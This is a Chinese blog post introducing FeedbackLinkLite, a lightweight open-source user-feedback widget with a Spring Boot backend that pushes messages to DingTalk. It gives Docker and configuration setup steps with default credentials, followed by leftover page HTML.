正在取一行诗意...

FeedbackLinkLite - 轻量级用户反馈系统,客服服务系统

作者 yunyu发布 2026年4月9日阅读 3 分钟热度 47 次浏览

FeedbackLinkLite - 轻量级用户反馈系统

开源自荐- 网站一行代码引入,接入简单反馈收集服务 和用户交互-FeedbackLinkLite - 轻量级用户反馈系统

目前很初版 很简单~ 欢迎交流 与使用~~~ :lark_186:

"倾听用户的声音,是产品进化的捷径。"

https://github.com/Idea-flow/FeedbackLinkLite

🌟 核心理念

在独立开发和小型项目的世界里,我们深知每一行代码背后的心血。然而,无论产品构思多么精妙,如果听不到用户的声音,就如同在黑暗中摸索。

ServiceLinkLite 的诞生源于一个简单的"想知道用户反馈"初衷:

  • 为开发者减负:您不应该为了一个简单的"反馈功能"而耗费宝贵的开发时间。我们希望您能专注于核心业务,把"倾听"这件事交给我们。
  • 让用户受益:当您的用户遇到问题或有好的建议时,他们能拥有一个极简、无压力的渠道与您沟通。这不仅解决了他们的问题,更让您的产品因为他们的参与而变得更好。

这是一个连接创造者与使用者的桥梁。我们相信,开放反馈渠道本身就是一种对他人的尊重与关怀,而这份"利他"之心,终将回馈于您的产品成长。


🚀 项目介绍

ServiceLinkLite 是一个专门为 个人开发者、小型 Web 项目/网站 打造的轻量级用户反馈解决方案。

它由两部分组成:

  1. 前端 Widget:一个极简的 JavaScript 插件,几行代码即可嵌入任何网页。
  2. 后端服务:基于 Spring Boot 的轻量级服务,负责接收反馈并实时推送到您的即时通讯工具(目前支持钉钉,更多渠道开发中)。

✨ 核心特性

  • 极简集成:前端只需引入一个 JS 文件,即可获得优雅的反馈按钮与弹窗。
  • 即时触达:用户提交反馈后,消息会立即通过机器人在群里通知您(支持钉钉 Webhook)。
  • 防骚扰设计:内置 IP 频次限制(Rate Limiting),防止恶意刷屏。
  • 完全开源:代码透明,数据掌控在自己手中,无隐私担忧。
  • 开箱即用:无需复杂的数据库配置(默认日志/内存处理,可视需求扩展)。

🛠 技术栈

  • 后端: Java 21+, Spring Boot4 (Native/GraalVM)
  • 前端 Widget: Vue 3 (Web Components), Vite

📦 快速开始

1. 部署后端

Bash
# 克隆项目  
git clone https://github.com/your-repo/ServiceLinkLite.git  
  
# 运行服务  
cd ServiceLinkLite  
./mvnw spring-boot:run  

2. 配置通知渠道 (application.yml)

YAML
feedback:  
  enabled: true  
  dingTalk:  
    webhook: ""  
    secret: ""  
  rate-limit:  
    enabled: true  
    max-requests: 5  
    window-minutes: 60  
  auth:  
    username: "admin"  
    password: "admin"  
    token: "token123434kkgdka56"  
  # 外部配置文件路径,默认指向工作目录下 data/feedback_config.json,可通过 FEEDBACK_CONFIG_PATH 或 feedback.config-path 覆盖  
  config-path: "./data/feedback_config.json"  

3. 前端嵌入

在您的 HTML 页面中添加:

HTML
<script src="http://your-server-ip-or-domain/feedback.js"></script>  

🤝 贡献与支持

如果你觉得这个小工具对你有帮助,欢迎 Star 支持!也欢迎提交 PR 扩展更多消息渠道(如飞书、企业微信、Email 等)。

优点

大小-127MB

image.png

内存-仅仅43MB

image.png

docker运行

持久化运行

Bash
  
如果想持久化配置 /data/feedback_config.json 拷贝到 /xxxx/data 目录下后执行  
mkdir -p /xxx/data/  
  
  
docker run -d \  
--name feedbacklinklite \  
--user root \  
-p 4567:4567 \  
-v /xxx/data:/workspace/data \  
ghcr.io/idea-flow/feedbacklinklite:latest  

简单体验运行

Bash
docker run -d \--name feedbacklinklite \  
-p 4567:4567 \  
ghcr.io/idea-flow/feedbacklinklite:latest  

默认账户密码

admin
admin
访问地址即可
http://127.0.0.1:4567/

页面效果

前端页面 反馈效果

明亮模式

image.png

暗黑模式:

image.png

钉钉消息收到效果

image.png

登录页面

image.png

配置页面效果

第一张:

image.png

第二张:

image.png

'"><a>'"><a></article></div><!--teleport start--><!--teleport end--><!--]--><!----><section class="rounded-[28px] border border-slate-200/60 bg-white/78 p-5 shadow-[0_12px_30px_-30px_rgba(15,23,42,0.08)] dark:border-white/8 dark:bg-slate-950/52 sm:p-6"><div class="flex items-center justify-between gap-4 border-b border-slate-200/60 pb-4 dark:border-white/8"><h2 class="text-[1.2rem] font-semibold tracking-[-0.03em] [font-family:var(--font-display)] text-slate-950 dark:text-slate-50"> 评论 </h2><p class="text-sm text-slate-400 dark:text-slate-500">共 2 条</p></div><div class="mt-5"><div class="rounded-[20px] border border-slate-200/60 bg-white/58 p-4 dark:border-white/8 dark:bg-slate-950/34 sm:p-5"><!----><div><div contenteditable="true" data-placeholder="登录后发表评论" class="comment-rich-editor w-full whitespace-pre-wrap break-words rounded-[18px] border border-slate-200/65 bg-white/84 px-4 py-3 text-sm leading-7 text-slate-700 outline-none transition focus:border-sky-300 focus:ring-2 focus:ring-sky-200/50 dark:border-slate-700/80 dark:bg-slate-950/62 dark:text-slate-100 dark:focus:border-sky-600 dark:focus:ring-sky-500/16 rounded-[18px]" style="min-height:164px;" data-v-0366fed6></div></div><div class="mt-4 flex flex-col gap-3 border-t border-slate-200/60 pt-3 dark:border-white/8 sm:flex-row sm:items-center sm:justify-between"><div class="flex min-h-9 flex-wrap items-center gap-2 text-slate-400 dark:text-slate-500"><div class="relative"><button type="button" class="inline-flex size-9 items-center justify-center rounded-full border border-slate-200/80 bg-white text-slate-500 transition hover:border-slate-300 hover:text-slate-900 disabled:cursor-not-allowed disabled:opacity-55 dark:border-white/10 dark:bg-slate-950/60 dark:text-slate-400 dark:hover:border-white/15 dark:hover:text-slate-100"><span class="iconify i-lucide:laugh size-4.5" aria-hidden="true" style=""></span></button><!----></div><!--[--><!--]--><!----></div><div class="flex flex-wrap items-center gap-2"><!----><button type="button" class="inline-flex min-h-10 items-center justify-center rounded-full px-4 text-sm font-medium text-slate-500 transition hover:bg-slate-100 hover:text-slate-900 dark:text-slate-400 dark:hover:bg-white/8 dark:hover:text-slate-100">去登录</button><button type="button" class="inline-flex min-h-10 items-center justify-center rounded-full bg-sky-500 px-5 text-sm font-medium text-white transition hover:bg-sky-600 disabled:cursor-not-allowed disabled:bg-slate-200 disabled:text-slate-500 dark:disabled:bg-slate-800 dark:disabled:text-slate-500">发布评论</button></div></div></div></div><div class="mt-6"><div class="space-y-4"><!--[--><div aria-busy="true" aria-label="loading" aria-live="polite" role="alert" class="animate-pulse bg-elevated h-28 rounded-[18px]"><!--[--><!--]--></div><div aria-busy="true" aria-label="loading" aria-live="polite" role="alert" class="animate-pulse bg-elevated h-28 rounded-[18px]"><!--[--><!--]--></div><div aria-busy="true" aria-label="loading" aria-live="polite" role="alert" class="animate-pulse bg-elevated h-28 rounded-[18px]"><!--[--><!--]--></div><!--]--></div></div></section><section class="relative"><div class="border-b border-slate-200/70 pb-4 dark:border-white/10 sm:pb-5"><p class="text-[0.72rem] font-semibold uppercase tracking-[0.28em] text-sky-600 dark:text-sky-300"> 继续阅读 </p></div><div class="mt-5 grid min-w-0 gap-5 sm:mt-6 lg:grid-cols-2 lg:gap-6"><!--[--><a href="/posts/ceshi-shili" class="group relative min-w-0 cursor-pointer rounded-[20px] p-1.5 transition duration-300 hover:bg-slate-50/78 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/80 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:hover:bg-white/[0.03] dark:focus-visible:ring-sky-400/70 dark:focus-visible:ring-offset-slate-950 sm:rounded-[24px] sm:p-2"><div class="relative overflow-hidden rounded-[18px] border border-slate-200/75 bg-slate-100/80 dark:border-white/10 dark:bg-slate-900/78 sm:rounded-[22px]"><div class="yunyu-image group relative overflow-hidden bg-slate-200/80 dark:bg-slate-800/70 rounded-none aspect-[16/9] h-full w-full" style="" data-v-b8e7c8de><div class="rounded-none opacity-100 yunyu-image__skeleton absolute inset-0" aria-hidden="true" data-v-b8e7c8de></div><!----><img src="https://oss.ideaflow.top/articleCover/d9bab5be2791cefb1d7200d117ed75b51a25c98fab6db990a52e5a1378b4b8f5.webp" alt="测试-md示例" loading="lazy" decoding="async" class="block h-full w-full transition-all duration-500 ease-out dark:brightness-[0.82] rounded-none object-cover h-full w-full object-cover transition duration-500 ease-out group-hover:scale-[1.02] scale-[1.02] opacity-0" data-v-b8e7c8de></div><div class="pointer-events-none absolute inset-0 bg-[linear-gradient(180deg,rgba(15,23,42,0.04)_0%,rgba(15,23,42,0.02)_40%,rgba(15,23,42,0.18)_100%)] dark:bg-[linear-gradient(180deg,rgba(2,6,23,0.02)_0%,rgba(2,6,23,0.06)_38%,rgba(2,6,23,0.3)_100%)]"></div></div><div class="mt-4 flex items-start justify-between gap-3"><div><p class="text-[0.72rem] font-medium text-slate-500 dark:text-slate-400"></p></div><div class="inline-flex h-9 w-9 shrink-0 items-center justify-center text-slate-400 transition group-hover:text-sky-700 dark:text-slate-500 dark:group-hover:text-sky-200"><span class="iconify i-lucide:arrow-up-right size-4" aria-hidden="true" style=""></span></div></div><h3 class="mt-4 text-[clamp(1.06rem,3.8vw,1.38rem)] font-semibold leading-7 tracking-[-0.03em] [font-family:var(--font-display)] [text-wrap:balance] text-slate-950 transition group-hover:text-sky-700 dark:text-slate-50 dark:group-hover:text-sky-200">测试-md示例</h3><p class="mt-3 line-clamp-3 text-[0.9rem] leading-7 text-slate-500 dark:text-slate-400"></p><div class="mt-5 flex flex-wrap gap-2.5 text-[0.72rem] text-slate-400 dark:text-slate-500"><span class="inline-flex items-center gap-1.5 rounded-full border border-slate-200/75 bg-slate-50/88 px-3 py-1.5 dark:border-white/10 dark:bg-white/[0.04]"><span class="iconify i-lucide:calendar-days size-3.5" aria-hidden="true" style=""></span><span>2026年4月3日</span></span><span class="inline-flex items-center gap-1.5 rounded-full border border-slate-200/75 bg-slate-50/88 px-3 py-1.5 dark:border-white/10 dark:bg-white/[0.04]"><span class="iconify i-lucide:clock-3 size-3.5" aria-hidden="true" style=""></span><span>10 分钟阅读</span></span></div></a><a href="/posts/spring-2026-first-five" class="group relative min-w-0 cursor-pointer rounded-[20px] p-1.5 transition duration-300 hover:bg-slate-50/78 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/80 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:hover:bg-white/[0.03] dark:focus-visible:ring-sky-400/70 dark:focus-visible:ring-offset-slate-950 sm:rounded-[24px] sm:p-2"><div class="relative overflow-hidden rounded-[18px] border border-slate-200/75 bg-slate-100/80 dark:border-white/10 dark:bg-slate-900/78 sm:rounded-[22px]"><div class="yunyu-image group relative overflow-hidden bg-slate-200/80 dark:bg-slate-800/70 rounded-none aspect-[16/9] h-full w-full" style="" data-v-b8e7c8de><div class="rounded-none opacity-100 yunyu-image__skeleton absolute inset-0" aria-hidden="true" data-v-b8e7c8de></div><!----><img src="https://s3.hi168.com/hi168-29272-3320gqns/test/6688.jpeg" alt="2026cc 春季新番先看哪 5 部:从情绪密度到作画稳定度的一次筛选" loading="lazy" decoding="async" class="block h-full w-full transition-all duration-500 ease-out dark:brightness-[0.82] rounded-none object-cover h-full w-full object-cover transition duration-500 ease-out group-hover:scale-[1.02] scale-[1.02] opacity-0" data-v-b8e7c8de></div><div class="pointer-events-none absolute inset-0 bg-[linear-gradient(180deg,rgba(15,23,42,0.04)_0%,rgba(15,23,42,0.02)_40%,rgba(15,23,42,0.18)_100%)] dark:bg-[linear-gradient(180deg,rgba(2,6,23,0.02)_0%,rgba(2,6,23,0.06)_38%,rgba(2,6,23,0.3)_100%)]"></div></div><div class="mt-4 flex items-start justify-between gap-3"><div><p class="text-[0.72rem] font-medium text-slate-500 dark:text-slate-400">新番观察</p></div><div class="inline-flex h-9 w-9 shrink-0 items-center justify-center text-slate-400 transition group-hover:text-sky-700 dark:text-slate-500 dark:group-hover:text-sky-200"><span class="iconify i-lucide:arrow-up-right size-4" aria-hidden="true" style=""></span></div></div><h3 class="mt-4 text-[clamp(1.06rem,3.8vw,1.38rem)] font-semibold leading-7 tracking-[-0.03em] [font-family:var(--font-display)] [text-wrap:balance] text-slate-950 transition group-hover:text-sky-700 dark:text-slate-50 dark:group-hover:text-sky-200">2026cc 春季新番先看哪 5 部:从情绪密度到作画稳定度的一次筛选</h3><p class="mt-3 line-clamp-3 text-[0.9rem] leading-7 text-slate-500 dark:text-slate-400">如果你只想先追 5 部作品,这篇会按情绪浓度、画面完成度和追更压力给出最稳妥的入场顺序。</p><div class="mt-5 flex flex-wrap gap-2.5 text-[0.72rem] text-slate-400 dark:text-slate-500"><span class="inline-flex items-center gap-1.5 rounded-full border border-slate-200/75 bg-slate-50/88 px-3 py-1.5 dark:border-white/10 dark:bg-white/[0.04]"><span class="iconify i-lucide:calendar-days size-3.5" aria-hidden="true" style=""></span><span>2026年3月27日</span></span><span class="inline-flex items-center gap-1.5 rounded-full border border-slate-200/75 bg-slate-50/88 px-3 py-1.5 dark:border-white/10 dark:bg-white/[0.04]"><span class="iconify i-lucide:clock-3 size-3.5" aria-hidden="true" style=""></span><span>1 分钟阅读</span></span></div></a><!--]--></div></section></div><aside class="hidden space-y-5 lg:block lg:h-fit lg:self-start lg:sticky lg:top-24"><div class="relative overflow-hidden rounded-[24px] border border-white/60 bg-[linear-gradient(180deg,rgba(255,255,255,0.86),rgba(255,255,255,0.72))] p-4 shadow-[0_22px_48px_-40px_rgba(15,23,42,0.22)] backdrop-blur-xl before:pointer-events-none before:absolute before:inset-x-8 before:top-0 before:h-px before:bg-gradient-to-r before:from-transparent before:via-sky-200/85 before:to-transparent dark:border-white/10 dark:bg-[linear-gradient(180deg,rgba(2,6,23,0.82),rgba(15,23,42,0.72))] dark:before:via-sky-400/30"><div class="relative"><div class="border-b border-slate-200/70 pb-3 dark:border-white/10"><div class="min-w-0"><p class="text-[0.76rem] font-medium tracking-[0.18em] text-slate-400 dark:text-slate-500"> 目录 </p></div></div><div class="mt-3"><div class="max-h-[32rem] overflow-auto pr-1 lg:max-h-[calc(100svh-8rem)] [scrollbar-width:thin] [scrollbar-color:rgba(148,163,184,0.22)_transparent] [&::-webkit-scrollbar]:h-2 [&::-webkit-scrollbar]:w-1 [&::-webkit-scrollbar-track]:bg-transparent [&::-webkit-scrollbar-thumb]:rounded-full [&::-webkit-scrollbar-thumb]:bg-slate-300/45 dark:[&::-webkit-scrollbar-thumb]:bg-slate-600/38"><div class="space-y-0.5"><!--[--><button type="button" data-toc-id="feedbacklinklite-轻量级用户反馈系统" class="rounded-[0.95rem] bg-[linear-gradient(90deg,rgba(224,242,254,0.94),rgba(240,249,255,0.66))] text-sky-950 shadow-[inset_0_1px_0_rgba(255,255,255,0.68)] ring-1 ring-sky-100/70 dark:bg-[linear-gradient(90deg,rgba(14,116,144,0.34),rgba(8,47,73,0.18))] dark:text-sky-50 dark:ring-sky-400/16 dark:shadow-none group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:0.9rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.84rem] font-medium leading-6 tracking-[-0.015em] text-sky-950 dark:text-sky-50 block min-w-0 transition duration-200">FeedbackLinkLite - 轻量级用户反馈系统</span></span></button><button type="button" data-toc-id="核心理念" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">🌟 核心理念</span></span></button><button type="button" data-toc-id="项目介绍" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">🚀 项目介绍</span></span></button><button type="button" data-toc-id="核心特性" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:2.46rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.78rem] font-normal leading-[1.58] text-slate-400 dark:text-slate-400/72 block min-w-0 transition duration-200">✨ 核心特性</span></span></button><button type="button" data-toc-id="技术栈" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">🛠 技术栈</span></span></button><button type="button" data-toc-id="快速开始" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">📦 快速开始</span></span></button><button type="button" data-toc-id="1-部署后端" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:2.46rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.78rem] font-normal leading-[1.58] text-slate-400 dark:text-slate-400/72 block min-w-0 transition duration-200">1. 部署后端</span></span></button><button type="button" data-toc-id="2-配置通知渠道-applicationyml" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:2.46rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.78rem] font-normal leading-[1.58] text-slate-400 dark:text-slate-400/72 block min-w-0 transition duration-200">2. 配置通知渠道 (application.yml)</span></span></button><button type="button" data-toc-id="3-前端嵌入" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:2.46rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.78rem] font-normal leading-[1.58] text-slate-400 dark:text-slate-400/72 block min-w-0 transition duration-200">3. 前端嵌入</span></span></button><button type="button" data-toc-id="贡献与支持" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">🤝 贡献与支持</span></span></button><button type="button" data-toc-id="优点" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:0.9rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.84rem] font-medium leading-6 tracking-[-0.015em] block min-w-0 transition duration-200">优点</span></span></button><button type="button" data-toc-id="大小-127mb" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">大小-127MB</span></span></button><button type="button" data-toc-id="内存-仅仅43mb" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">内存-仅仅43MB</span></span></button><button type="button" data-toc-id="docker运行" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:0.9rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.84rem] font-medium leading-6 tracking-[-0.015em] block min-w-0 transition duration-200">docker运行</span></span></button><button type="button" data-toc-id="持久化运行" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">持久化运行</span></span></button><button type="button" data-toc-id="简单体验运行" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">简单体验运行</span></span></button><button type="button" data-toc-id="默认账户密码" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:1.6800000000000002rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.8rem] font-normal leading-[1.62] text-slate-500 dark:text-slate-300/82 block min-w-0 transition duration-200">默认账户密码</span></span></button><button type="button" data-toc-id="页面效果" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:0.9rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.84rem] font-medium leading-6 tracking-[-0.015em] block min-w-0 transition duration-200">页面效果</span></span></button><button type="button" data-toc-id="前端页面-反馈效果" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:2.46rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.78rem] font-normal leading-[1.58] text-slate-400 dark:text-slate-400/72 block min-w-0 transition duration-200">前端页面 反馈效果</span></span></button><button type="button" data-toc-id="明亮模式" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:3.2399999999999998rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.78rem] font-normal leading-[1.58] text-slate-400 dark:text-slate-400/72 block min-w-0 transition duration-200">明亮模式</span></span></button><button type="button" data-toc-id="暗黑模式" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:3.2399999999999998rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.78rem] font-normal leading-[1.58] text-slate-400 dark:text-slate-400/72 block min-w-0 transition duration-200">暗黑模式:</span></span></button><button type="button" data-toc-id="钉钉消息收到效果" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:2.46rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.78rem] font-normal leading-[1.58] text-slate-400 dark:text-slate-400/72 block min-w-0 transition duration-200">钉钉消息收到效果</span></span></button><button type="button" data-toc-id="登录页面" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 